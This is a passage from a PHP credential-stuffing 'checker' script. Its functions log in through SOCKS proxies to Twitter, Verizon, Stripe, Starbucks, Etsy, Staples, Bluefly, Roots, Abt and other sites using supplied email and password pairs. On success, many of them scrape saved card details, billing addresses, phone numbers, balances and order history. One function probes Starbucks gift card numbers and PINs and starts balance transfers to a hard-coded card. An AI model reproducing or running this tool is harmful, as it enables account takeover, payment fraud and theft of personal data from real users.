3533 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3534 '<br>';
3535 }
3536
3537 $curl->close();
3538 unset($curl); // destroy object
3539
3540 }
3541function twitter($m,$p,$sock)
3542{
3543 $curl = new curl;
3544 $curl->cookiefile(null);
3545 $curl->timeout("30");
3546 $curl->proxy($sock);
3547 $curl->ssl(0, 2);
3548
3549 $url1 = "https://mobile.twitter.com/session/new";
3550
3551 $page = $curl->get($url1);
3552 if ($page) {
3553 $m = rm($m);
3554 $auth = getStr($page,'name="authenticity_token" type="hidden" value="','"');
3555 $data = "authenticity_token=$auth&username=$m&password=$p";
3556 $page = $curl->post($url1, $data, 1, 1, 0);
3557
3558
3559 if (!strpos($page,'Sign up')) {
3560
3561 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $note";
3562
3563 } else {
3564 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3565 '<br>';
3566
3567 }
3568 flush(); ob_flush();
3569 }
3570 else
3571 {
3572 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3573 '<br>';
3574 }
3575 $curl->close();
3576 unset($curl); // destroy object
3577
3578 }
3579function verizon($m,$p,$sock)
3580{
3581 $curl = new curl;
3582 $curl->cookiefile(null);
3583 $curl->timeout("30");
3584 if($sock != '')
3585 {
3586 $curl->proxy($sock);
3587 }
3588 $curl->ssl(0, 2);
3589
3590 $url1 = "http://www.verizonwireless.com/b2c/myverizonlp/";
3591 $url2 = "https://login.verizonwireless.com/amserver/UI/Login";
3592
3593 $page = $curl->get($url1);
3594 if ($page) {
3595 $curl->referer($url1);
3596 $m = rm($m);
3597 $data = "goto=https%3A%2F%2Fmyaccount.verizonwireless.com%2Fclp%2Flogin%3Fredirect%3D%2Fvzw%2Fsecure%2Frouter.action&realm=vzw&gx_charset=UTF-8&userNameOnly=true&rememberUserNameCheckBoxExists=Y&IDToken1=$m&hiddenText=&signIntoMyVerizonButton=";
3598 $page = $curl->post($url2, $data, 1, 1, 0);
3599
3600 if(strpos($page,'Your User ID or Mobile Number is:'))
3601 {
3602 $curl->referer($url2);
3603 $data = "realm=vzw&goto=https%3A%2F%2Fmyaccount.verizonwireless.com%2Fclp%2Flogin%3Fredirect%3D%2Fvzw%2Fsecure%2Frouter.action&gotoOnFail=&gx_charset=UTF-8&displayLoginStart=true&rememberUserNameCheckBoxExists=Y&IDToken1=$m&IDToken2=$p&signIn=";
3604 $page = $curl->post($url2, $data, 1, 1, 0);
3605
3606 if(strpos($page,'locked'))
3607 {
3608 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Locked";
3609 }
3610 elseif (!strpos($page,'does not match')) {
3611 $balance = getStr($page,'<p class="dueByDate">','</p>');
3612 $page = $curl->get("https://nbillpay.verizonwireless.com/vzw/accountholder/profile/profile.action");
3613
3614
3615 $add = getStr($page,'<div id="ajaxstreet1" class="profile_inner_grid1">','</div>');
3616 $add = strip_tags($add);
3617 $phone = getStr($page,'<div id="phoneInfo" class="profile_inner_grid1">','</div>');
3618 $phone = strip_tags($phone);
3619 $name = getStr($page,'<!-- Account Managers -->','<!-- mp_trans_disable_end -->');
3620 $name = getStr($name,'<!-- mp_trans_disable_start -->','</div>');
3621 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance | $name | $add | $phone";
3622
3623 }
3624 else {
3625 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3626 '<br>';
3627
3628 }
3629 flush(); ob_flush();
3630 }
3631 else
3632 {
3633 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3634 '<br>';
3635 }
3636
3637 }
3638 else
3639 {
3640 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3641 '<br>';
3642 }
3643 $curl->close();
3644 unset($curl); // destroy object
3645
3646}
3647function stripe($m,$p,$sock)
3648{
3649 $curl = new curl;
3650 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
3651 $curl->cookiefile($cookie);
3652 $curl->timeout("30");
3653 if($sock != "")
3654 {
3655 $curl->proxy($sock);
3656 }
3657 $curl->ssl(0, 2);
3658
3659 $url1 = "https://dashboard.stripe.com/login";
3660 $url2 = "https://dashboard.stripe.com/ajax/sessions";
3661
3662 $page = $curl->get($url1);
3663 if ($page) {
3664 $curl->referer($url1);
3665 $csrf = getStr($page,'name="csrf_token" value="','"');
3666 $csrf = urlencode($csrf);
3667 $data = "email=$m&password=$p&otp=&redirect=&invite_code=&account_invite=&invite=&remember=true&csrf_token=$csrf&io_blackbox=0400mTR4Z7%2BBQcwNf94lis1ztvbp9oIAPEEopCrr9RouwVsQ0cKHhjdDVsqh7p5fFmEVZLoBO71sJP8%2FyoVIBnjain3l6hbzqbSTAkfQjwmMuK2vcliW9oNJKgl04dK2i5fmh0ylJGfM1m6rVjpSL%2FtvtXAEKkoBeycPgriaMoAypQuyPr0t8ztVFuVr6BxgLUVAH7dgb4Vwqm%2FZXXts8GKY0C%2FScu%2F%2BOwM7mBZI7b40Dhl1VWrxn9MmuXydOz%2Fd7dMjcD6T1dGUjL%2FgLof4RzdSvnpl2CeAVCsyQzjAaor7c7E94bTFTCsefrbFwAkxSSNskfAF2LlJyLzED3HepEpuM5tlG61Ntm9z3eln9a65pRDCPw%2FwpHHNoUtezWwdrLOsKoxk0tBb1QXbtlsvnzs2dOowfmZjGrzuLMwi7cAIFCSqXhNixBmv5AeQohNbdTl11eHfkZ0HoJzSt0oGtrebhqRz9gPMSz7N0NL8Xon%2B8XrmmBYFSLqtILXbUlKdexkPRh35hSsrB0AKSs4KVYKB4qOBw%2FAfV27w%2BsnP9%2BSWhwzDNd2U7bm7tY5lNi%2BcovQlOjOlOq5fQJPEqYqLQTmZsqyPcHPZW84HMveZh7L2LG%2FrIWh2D%2FDqupPnFVyYldsigJnjRx%2BvsOp6Z4rY%2BcGACiJY9y4B%2BZ1VNRCVpvSnjQQqgq%2FPiHOFVx%2FR%2Bb%2BZ0kddOGrjwkTYXJTgRe%2BIkW%2BGf52ePNTqoBANPQxsEA9ztzgovdg%2BR73clNhwlApTJ7JWmz61zhzFB1eCz7xdGuiqmBDZ86%2BEvoIEkI5wcwidxrXBvh2j9GUrfnSQrjUDQyVeCyabH1uo5x8pbglyQQ5lsFbTkTqtFo3L4WvMaFhZt8dcMYT9uPVG3W6sn4eOI%2F3BB7cW%2BCyxfiJ%2BI06x5FF6BVRR0g93osHVBDL%2BbbK9Z4Pd7YHLkRbWYzz80aeg5sfhGJpmbA%2FfOcyysRqfEatYu5ZYzMdaEfRzmVdDCHLNRE6VT31SgfbGSVx3FiyQdYXzD6w1uhGLBoCJdDlgSWIs3Mm5XHAAx2o4brV1auknuvvxMTS7tPF8kLnYiNOKLCmHZNfbcjbO4POUjSmuI4m70DvMsrmqvG7f9rzXkQ89wYb2ngXpZp1186KkUvQ7ozBmqjIK4JI8T%2BOVSev0V5BC2zyvPZ9tjILzsu18d5afdn7XbM8oUWoaamTdKssLKML8cDJvh4pTd5lz0N0sAfnKWeYAClxfqachE68BkgMaDH4Avs9XzvT7sWvua%2B6xQwtMhA1Sig6U0M3l%2FtbOi%2Fl1pfDTaBkE0awUBnsM%2F6BTf8UN8Lg7Rptwj9zJhACtZ1XJtlHP9TBvIPmdQF8TQf3t%2F7xR%2BY73HYfKayeCxBqOZhjGw%2BI2wqd%2BHY4j9TpS3I%2BENDhKtITppXk26V9aBaPA5sp6sGvwjsP1%2Fcb%2BAn2mdiRddEx7%2FB0DhZhTPQ1qVn7TqB7M4RMcaFO9Gk5ljh0pPdDbm%2FktQvgoBsHGUQ1gXuNAA8olhVCOerekEI%2FpJ7iQnnT%2FUyWjrMutjkZNLjXswxVNk5TOTZyXaHjIdR8%2BzzckdfWXnxc1w8RVmtZbcg5%2B";
3668 $page = $curl->post($url2, $data, 1, 1, 0);
3669
3670 if(strpos($page,'"csrf_token"'))
3671 {
3672
3673 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
3674 flush(); ob_flush();
3675 }
3676 elseif(strpos($page,'Wrong email or password.'))
3677 {
3678 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3679 '<br>';
3680 }
3681 else{
3682 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3683 '<br>';
3684 }
3685
3686 }
3687 else
3688 {
3689 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3690 '<br>';
3691 }
3692 $curl->close();
3693 unset($curl); // destroy object
3694
3695}
3696function starbucks($m,$p,$sock)
3697{
3698 $curl = new curl;
3699 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
3700 $curl->cookiefile($cookie);
3701 $curl->timeout("30");
3702 if($sock != "")
3703 {
3704 $curl->proxy($sock);
3705 }
3706 $curl->ssl(0, 2);
3707
3708 $url1 = "https://www.starbucks.com/account/signin";
3709 $url2 = "https://www.starbucks.com/account/signin?returnurl=%2Faccount%2Fhome";
3710
3711 $page = $curl->get($url1);
3712 if ($page) {
3713 $curl->referer($url1);
3714
3715 $data = "ReturnUrl=&AllowGuest=False&epIsEnrolled=False&dhcExceptions=%7B%22ExceptionsList%22%3A%7B%7D%7D&Account.UserName=$m&Account.PassWord=$p&remember_me_check_box=remember_me_check_box";
3716 $page = $curl->post($url2, $data, 1, 1, 0);
3717
3718 if(!strpos($page,"customer_full_name: ''"))
3719 {
3720 $page = $curl->get("https://www.starbucks.com/account/profile/paymentmethods");
3721 $bill = getStr($page,'<dt class="nickname">Registration</dt>','</dl>');
3722 $bill = str_replace(" ", " | ", $bill);
3723 $bill = strip_tags($bill);
3724 $page = explode('<dl class="payment-method_display">',$page);
3725 unset($page[0]);
3726 foreach ($page as $key) {
3727 preg_match_all("/<span class=\"numbers\">(.*)<\/span>/", $key, $matches);
3728
3729 $cc .= " [".getStr($key,'<dt>','</dt>')."-".$matches[1][0]."-".$matches[1][1]."]";
3730 }
3731
3732 $page = $curl->get("https://www.starbucks.com/account/card");
3733 if(!strpos($page,'<dd class="numbers">'))
3734 {
3735 $card = "No Gift card";
3736 }
3737 else
3738 {
3739 $card = getStr($page,'<dd class="numbers">','</dd>')."-".getStr($page,'<div class="balance-amount numbers">','</div>');
3740 }
3741
3742 $page = $curl->get("https://www.starbucks.com/account/profile/accounthistory");
3743 if(strpos($page,'There are no transactions to display.'))
3744 {
3745 $order = "No Order";
3746 }
3747 else
3748 {
3749 $order = "Have Order";
3750 }
3751
3752 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $cc | Gift card: $card | $bill";
3753 flush(); ob_flush();
3754 }
3755 elseif(strpos($page,'Sign In Unsuccessful'))
3756 {
3757 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' . '<br>';
3758 }
3759 else{
3760 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' . '<br>';
3761 }
3762
3763 }
3764 else
3765 {
3766 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3767 '<br>';
3768 }
3769 $curl->close();
3770 unset($curl); // destroy object
3771
3772}
3773function starbucksbalance($m,$p,$sock)
3774{
3775 $receive = "6082762537635877";
3776 $curl = new curl;
3777 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
3778 $curl->cookiefile($cookie);
3779 $curl->timeout("30");
3780 if($sock != "")
3781 {
3782 $curl->proxy($sock);
3783 }
3784 $curl->ssl(0, 2);
3785
3786 $url1 = "https://www.starbucks.com/card/guestbalance";
3787
3788 $page = $curl->get($url1);
3789 if ($page) {
3790 $curl->referer($url1);
3791
3792 $data = 'Card.Number='.$m.'&Card.Pin='.$p;
3793 $page = $curl->post($url1, $data, 1, 1, 0);
3794
3795 if(strpos($page,"Card Balance"))
3796 {
3797
3798 $data = 'Card%5B0%5D.CardNumber='.$m.'&Card%5B0%5D.Index=0&Card%5B0%5D.Pin='.$p.'&Card.Number='.$receive.'&step=1&TranferStep1Submit=continue';
3799 $page = $curl->post("https://www.starbucks.com/card/manage/transfer", $data, 1, 1, 0);
3800 $balance = getStr($page,'<span class="fetch_balance_value">','</span></h2>');
3801
3802 if(strpos($page,"That card has a zero balance"))
3803 {
3804 $add = "Fresh, Unused by any account";
3805 }
3806 elseif(strpos($page,"That card number or security code is invalid"))
3807 {
3808 $add = "Card receive error";
3809 }
3810 elseif(strpos($page,"Please Verify Your Transfer"))
3811 {
3812 $add = "Clear";
3813 }
3814 else
3815 {
3816 $add = "Used by another account";
3817 }
3818
3819 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Balance: ".$balance .' | '.$add;
3820 flush(); ob_flush();
3821 }
3822 elseif(strpos($page,'something has gone wrong!'))
3823 {
3824 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' . '<br>';
3825 }
3826 else{
3827 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' . '<br>';
3828 }
3829
3830 }
3831 else
3832 {
3833 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3834 '<br>';
3835 }
3836 $curl->close();
3837 unset($curl); // destroy object
3838
3839}
3840function igxe($m,$p,$sock)
3841{
3842 //pycoder@live.com|quocthang
3843 $curl = new curl;
3844 $curl->cookiefile(null);
3845 $curl->timeout("30");
3846 if($sock != "")
3847 {
3848 $curl->proxy($sock);
3849 }
3850 $curl->ssl(0, 2);
3851
3852 $url1 = "http://www.igxe.com/Users/login.cfm";
3853
3854
3855 $page = $curl->get($url1);
3856 if ($page) {
3857 $curl->referer($url1);
3858
3859 $data = "Email=$m&password=$p&login=yes";
3860 $page = $curl->post($url1, $data, 1, 1, 0);
3861
3862 if(!strpos($page,'Please enter valid email/password'))
3863 {
3864 $page = $curl->get("http://www.igxe.com/users/tabnew.cfm?requesttimeout=1000");
3865 $status = getStr($page,'<li class="i_inforzi1">','</li>');
3866 $balance = getStr($page,'<tr height="35px" bgcolor="E7E7E7" class="font_10c"><td colspan="7" align="left">Bonus Dollars Balance: <br>','</tr>');
3867 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance | $status";
3868 flush(); ob_flush();
3869 }
3870 else
3871 {
3872 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3873 '<br>';
3874 }
3875
3876 }
3877 else
3878 {
3879 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3880 '<br>';
3881 }
3882 $curl->close();
3883 unset($curl); // destroy object
3884
3885}
3886function roots($m,$p,$sock)
3887{
3888 $curl = new curl;
3889 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
3890 $curl->cookiefile($cookie);
3891 $curl->timeout("30");
3892 if($sock != "")
3893 {
3894 $curl->proxy($sock);
3895 }
3896 $curl->ssl(0, 2);
3897
3898 $url1 = "https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Login-Show/";
3899
3900
3901 $page = $curl->get($url1);
3902 if ($page) {
3903 $url1 = 'https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Login-Show/'.getStr($page,'<form action="https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Login-Show/','"');
3904
3905 $curl->referer("https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Login-Show");
3906
3907 $data = "dwfrm_login_username=$m&dwfrm_login_password=$p&dwfrm_login_login.x=80&dwfrm_login_login.y=19";
3908 $page = $curl->post($url1, $data, 1, 1, 0);
3909
3910 if(strpos($page,'Welcome to your roots.com account. You can access all your personal shopping preferences and history in') && isset($page))
3911 {
3912 $page = $curl->get("https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/PaymentInstruments-List");
3913 preg_match_all("/<div class=\"nickname\">\n(.*)\n<\/div>/", $page, $nickname);
3914 preg_match_all("/<div class=\"type\">\n(.*)\n<\/div>/", $page, $type);
3915 preg_match_all("/<div class=\"number\">\n(.*)\n<\/div>/", $page, $number);
3916 for($i = 0; $i < count($nickname[1]); $i++)
3917 {
3918 $card .= " [".$nickname[1][$i]."-".$type[1][$i]."-".$number[1][$i]."]";
3919 }
3920 $card = str_replace("************", "", $card);
3921 $page = $curl->get("https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Customer-Addressbook");
3922 $bill = getStr($page,'<span class="firstname">','<!-- End: user/miniaddress -->');
3923 $bill = strip_tags(str_replace(array("</div>","</span>"), array(" | "," "), $bill));
3924
3925 $page = $curl->get("https://usa.roots.com/on/demandware.store/Sites-RootsUS-Site/default/Order-OrderHistory");
3926 if(strpos($page,'You have not placed an order in our store yet.'))
3927 {
3928 $order = "No Order";
3929 }
3930 else
3931 {
3932 $order = "Have Order";
3933 }
3934 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
3935 flush(); ob_flush();
3936 }
3937 else
3938 {
3939 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3940 '<br>';
3941 }
3942
3943 }
3944 else
3945 {
3946 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3947 '<br>';
3948 }
3949 $curl->close();
3950 unset($curl); // destroy object
3951
3952}
3953function bluefly($m,$p,$sock)
3954{
3955 //pycoder@live.com|quocthang
3956 $curl = new curl;
3957 $curl->cookiefile(null);
3958 $curl->timeout("30");
3959 if($sock != "")
3960 {
3961 $curl->proxy($sock);
3962 }
3963 $curl->ssl(0, 2);
3964
3965 $url1 = "https://www.bluefly.com/myfly/login.jsp";
3966 $url2 = "https://www.bluefly.com/myfly/login.jsp?_DARGS=/myfly/f_login.jsp.login";
3967
3968 $page = $curl->get($url1);
3969 if ($page) {
3970 $curl->referer($url1);
3971 $dyn = getStr($page, '_dynSessConf" value="','"');
3972 $data = "_dyncharset=ISO-8859-1&_dynSessConf=$dyn&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.bazaarvoiceLogin=false&_D%3A%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.bazaarvoiceLogin=+&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.loginErrorURL=%2Fmyfly%2Flogin.jsp&_D%3A%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.loginErrorURL=+&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.logoutSuccessURL=login.jsp&_D%3A%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.logoutSuccessURL=+&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.loginSuccessURL=my_account.jsp&_D%3A%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.loginSuccessURL=+&%2Fatg%2Fb2cblueprint%2Fprofile%2FSessionBean.values.loginSuccessURL=my_account.jsp&_D%3A%2Fatg%2Fb2cblueprint%2Fprofile%2FSessionBean.values.loginSuccessURL=+&login=$m&_D%3Alogin=+&password=$p&_D%3Apassword=+&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.login.x=22&%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.login.y=29&_D%3A%2Fatg%2Fuserprofiling%2FB2CProfileFormHandler.login=+&_DARGS=%2Fmyfly%2Ff_login.jsp.login";
3973 $page = $curl->post($url1, $data, 1, 1, 0);
3974
3975 if(!strpos($page,'Login with your email address and Bluefly password') && isset($page))
3976 {
3977 $page = $curl->get("https://www.bluefly.com/myfly/payment.jsp");
3978 preg_match_all("/<option value='(.*)'>/", $page, $matches);
3979
3980 for($i = 0; $i < count($matches[1]); $i++)
3981 {
3982 $page = $curl->get("https://www.bluefly.com/myfly/payment.jsp");
3983 $dyn = getStr($page,'name="_dynSessConf" value="','"');
3984 $page = $curl->post("https://www.bluefly.com/myfly/payment.jsp?_DARGS=/myfly/payment_contents.jsp","_dyncharset=ISO-8859-1&_dynSessConf=$dyn&payment.jsp=&_D%3Apayment.jsp=+&payment.jsp=&_D%3Apayment.jsp=+&editCard=".$matches[1][$i]."&_D%3AeditCard=+&addNewCreditCard=&_D%3AaddNewCreditCard=+&storedCreditCardName=".$matches[1][$i]."&_DARGS=%2Fmyfly%2Fpayment_contents.jsp", 1, 1, 0);
3985 $cc = getStr($page,'<td class="addrbook-form-col1">Card Number*</td>','</td>');
3986 $cc = strip_tags($cc);
3987 preg_match_all("/<option selected value=\"(.*)\">/", $page, $matches2);
3988 $card .= " [".$matches2[1][0]."-".$matches2[1][1]."/".$matches2[1][2]."]";
3989 }
3990 $page = $curl->get("https://www.bluefly.com/myfly/my_account.jsp");
3991 $page = explode('<table class="textTable">',$page);
3992
3993 $bill = current(explode('<a href="',$page[3]));
3994 $bill = strip_tags(str_replace("</tr>", " | ", $bill));
3995
3996 $page = $curl->get("https://www.bluefly.com/myfly/order_history.jsp?orderNumber=10");
3997 if(strpos($page,'Could not find orders for this user.'))
3998 {
3999 $order = "No order";
4000 }
4001 else
4002 {
4003 $order = "Have Order";
4004 }
4005 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
4006 flush(); ob_flush();
4007 }
4008 else
4009 {
4010 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4011 '<br>';
4012 }
4013
4014 }
4015 else
4016 {
4017 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4018 '<br>';
4019 }
4020 $curl->close();
4021 unset($curl); // destroy object
4022
4023}
4024function etsy($m,$p,$sock)
4025{
4026 //pycoder@live.com|quocthang
4027 $curl = new curl;
4028 $curl->cookiefile(null);
4029 $curl->timeout("30");
4030 if($sock != "")
4031 {
4032 $curl->proxy($sock);
4033 }
4034 $curl->ssl(0, 2);
4035
4036 $url1 = "https://www.etsy.com/signin";
4037
4038
4039 $page = $curl->get($url1);
4040 if ($page) {
4041 $curl->referer($url1);
4042 $nonce = getStr($page,'name="_nonce" value="','"');
4043 $nnc = getStr($page,'name="_nnc" value="','"');
4044
4045 $data = "external_account_id=&external_account_type_name=&external_avatar=&external_username=&connect_facebook=&_nonce=$nonce&_nnc=$nnc&username=$m&password=$p&persistent=1&from_page=https%3A%2F%2Fwww.etsy.com%2F&from_action=";
4046 $page = $curl->post($url1, $data, 1, 1, 0);
4047
4048 if(!strpos($page,'Sign in to Etsy'))
4049 {
4050 $page = $curl->get("https://www.etsy.com/your/account/cards");
4051 $card = getStr($page,'<h3 class="card-description">','</h3>');
4052 preg_match_all("/value=\"(.*)\" selected=\"selected\">/", $page, $matches);
4053 $card = strip_tags($card)."-".$matches[1][0]."/".$matches[1][1];
4054 $card = str_replace("ending in ", "", $card);
4055 $add = getStr($page,'Select an existing address','</select>');
4056 $add = explode("</option>", $add);
4057
4058 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $add[1]";
4059 }
4060 else
4061 {
4062 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4063 '<br>';
4064 }
4065
4066 }
4067 else
4068 {
4069 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4070 '<br>';
4071 }
4072 $curl->close();
4073 unset($curl); // destroy object
4074
4075}
4076function tigerdirect($m,$p,$sock)
4077{
4078 $curl = new curl;
4079 $curl->cookiefile(null);
4080 $curl->timeout("30");
4081 if($sock != "")
4082 {
4083 $curl->proxy($sock);
4084 }
4085 $curl->ssl(0, 2);
4086
4087 $url1 = "https://www.tigerdirect.com/secure/OrderLogin.asp";
4088
4089
4090 $page = $curl->get($url1);
4091 if ($page) {
4092 $curl->referer($url1);
4093
4094 $data = "PG=1&email=$m&password=$p&formSubmit=1&rf=&rurl=&SubmitFlag=YES&imageField.x=67&imageField.y=11";
4095 $page = $curl->post($url1, $data, 1, 1, 0);
4096 //echo $page;
4097 if(inStr($page,'YOUR ACCOUNT'))
4098 {
4099 $order = "No Order";
4100 $page = $curl->get("https://www.tigerdirect.com/cgisec/orderHistory.asp");
4101 if(inStr($page,'No orders found...'))
4102 {
4103 $order = "Have Order";
4104 }
4105 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $status";
4106 flush(); ob_flush();
4107 }
4108 else
4109 {
4110 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4111 '<br>';
4112 }
4113
4114 }
4115 else
4116 {
4117 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4118 '<br>';
4119 }
4120 $curl->close();
4121 unset($curl); // destroy object
4122
4123}
4124function staples($m,$p,$sock)
4125{
4126 $curl = new curl;
4127 $curl->cookiefile(null);
4128 $curl->timeout("30");
4129 if($sock != "")
4130 {
4131 $curl->proxy($sock);
4132 }
4133 $curl->ssl(0, 2);
4134
4135 $url1 = "https://www.staples.com/office/supplies/StaplesLogon?";
4136
4137
4138 $page = $curl->get($url1);
4139 if ($page) {
4140 $curl->referer($url1);
4141
4142 $data = "storeId=10001&catalogId=10051&langId=-1&URL=http%3A%2F%2Fwww.staples.com%2F&userRedirect=false&reLogonURL=login&fromUrl=login&forceShipToStore=false&logonId=$m&staplesPassword=$p";
4143 $page = $curl->post($url1, $data, 1, 1, 0);
4144
4145 if(!inStr($page,'but an error has been made'))
4146 {
4147 $page = $curl->get("https://www.staples.com/office/supplies/cconfile");
4148 preg_match_all("/Card Type:<\/label>(.*)<\/p>/", $page, $type);
4149 preg_match_all("/Ending in...(.*)<\/p>/", $page, $cc);
4150 preg_match_all("/Expiration Date:<\/label>(.*)<\/p>/", $page, $exp);
4151 $i = 0;
4152 while($i< count($type[0]))
4153 {
4154 $card .= "[".$type[0][$i]."-".$cc[0][$i]."-".$exp[0][$i]."] ";
4155 $i++;
4156 }
4157 $card = str_replace(array("Ending in...",'Expiration Date:'),"",$card);
4158 if(count($type[0]) == 0)
4159 {
4160 $card = "No Card";
4161 }
4162 $page = $curl->get("https://www.staples.com/office/supplies/addressbook?catalogId=10051&langId=-1&storeId=10001");
4163 $status = getStr($page,'<div class="address">','</div>');
4164 $status = strip_tags($status);
4165 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $status";
4166 flush(); ob_flush();
4167 }
4168 else
4169 {
4170 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4171 '<br>';
4172 }
4173
4174 }
4175 else
4176 {
4177 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4178 '<br>';
4179 }
4180 $curl->close();
4181 unset($curl); // destroy object
4182
4183}
4184function abt($m,$p,$sock)
4185{
4186 //pycoder@live.com|quocthang
4187 $curl = new curl;
4188 $curl->cookiefile(null);
4189 $curl->timeout("30");
4190 if($sock != "")
4191 {
4192 $curl->proxy($sock);
4193 }
4194 $curl->ssl(0, 2);
4195
4196 $url1 = "https://www.abt.com/resources/pages/account.php?screen=login";
4197
4198
4199 $page = $curl->get($url1);
4200 if ($page) {
4201 $curl->referer($url1);
4202
4203 $data = "email=$m&password=$p";
4204 $page = $curl->post($url1, $data, 1, 1, 0);
4205
4206 if(!inStr($page,'Invalid'))
4207 {
4208 $page = $curl->get("https://www.abt.com/resources/pages/account.php?screen=orders");
4209 if(strpos($page,'No orders found.'))
4210 {
4211 $order = "No Order";
4212 }
4213 else
4214 {
4215 $order = "Have Order";
4216 }
4217 $page = $curl->get("https://www.abt.com/resources/pages/account.php?screen=stored_credit_cards");
4218 $code = getStr($page,'<th width="20%">Expiration Date</th>','</table>');
4219 $code = explode("</tr>",$code);
4220 unset($code[0]);
4221 unset($code[count($code)]);
4222 foreach ($code as $key) {
4223 preg_match_all("/<td>(.*)<\/td>/", $key, $matches);
4224 $card .= " [".getStr($key,'<div id="cc_images" class="','"')."-".$matches[1][1]."-".$matches[1][2]."-".$matches[1][3]."]";
4225 }
4226 $card = str_replace("****************","****",$card);
4227 $page = $curl->get("https://www.abt.com/resources/pages/account.php?screen=manage_address_book");
4228 $bill = getStr($page,'<div class="default_addr">default billing address</div>','<div class="button_bar">');
4229 $bill = str_replace("<br />", " | ", $bill);
4230 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
4231 flush(); ob_flush();
4232 }
4233 else
4234 {
4235 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4236 '<br>';
4237 }
4238
4239 }
4240 else
4241 {
4242 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
4243 '<br>';
4244 }
4245 $curl->close();
4246 unset($curl); // destroy object
4247
4248}
4249function datafile($m,$p,$sock)
4250{
4251 $curl = new curl;
4252 $curl->cookiefile(null);
4253 $curl->timeout("30");
4254 if($sock != "")
4255 {
4256 $curl->proxy($sock);
4257 }
4258 $curl->ssl(0, 2);
4259
4260 $url1 = "https://www.datafile.com/login.html";
4261
4262
4263 $page = $curl->get($url1);
4264 if ($page) {
4265 $curl->referer($url1);
4266 $m = rm($m);
4267 $data = "login=$m&password=$p&remember_me=0&remember_me=1&btn=";
4268 $page = $curl->post($url1, $data, 1, 1, 0);
4269
4270 if(!strpos($page,'Incorrect'))
